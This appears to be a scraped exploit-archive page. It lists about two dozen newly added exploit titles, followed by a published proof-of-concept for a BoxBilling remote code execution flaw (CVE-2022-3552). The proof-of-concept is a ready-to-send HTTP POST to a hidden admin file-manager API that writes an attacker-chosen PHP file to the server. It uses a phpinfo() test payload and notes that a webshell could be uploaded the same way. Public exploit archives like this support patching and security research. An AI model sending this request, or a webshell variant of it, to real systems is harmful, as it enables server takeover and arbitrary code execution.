6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
34 lines
No EOL
1.3 KiB
Text
34 lines
No EOL
1.3 KiB
Text
# Exploit Title: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
|
|
# Date: 2022-09-18
|
|
# Exploit Author: zetc0de
|
|
# Vendor Homepage: https://www.boxbilling.org/
|
|
# Software Link:
|
|
https://github.com/boxbilling/boxbilling/releases/download/4.22.1.5/BoxBilling.zip
|
|
# Version: <=4.22.1.5 (Latest)
|
|
# Tested on: Windows 10
|
|
# CVE : CVE-2022-3552
|
|
# BoxBilling was vulnerable to Unrestricted File Upload.
|
|
# In order to exploit the vulnerability, an attacker must have a valid
|
|
authenticated session as admin on the CMS.
|
|
# With at least 1 order of product an attacker can upload malicious file to
|
|
hidden API endpoint that contain a webshell and get RCE
|
|
###################################################################################
|
|
|
|
|
|
## POC
|
|
POST /index.php?_url=/api/admin/Filemanager/save_file HTTP/1.1
|
|
Host: local.com:8089
|
|
Content-Length: 52
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
DNT: 1
|
|
X-Requested-With: XMLHttpRequest
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
|
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: PHPSESSID=3nrf9i4mv28o5anva77ltq042d
|
|
Connection: close
|
|
|
|
order_id=1&path=ax.php&data=<%3fphp+phpinfo()%3b%3f>
|
|
|
|
POC Video :
|
|
https://drive.google.com/file/d/1m2glCeJ9QXc8epuY2QfvbWwjLTJ8_Hjx/view?usp=sharing |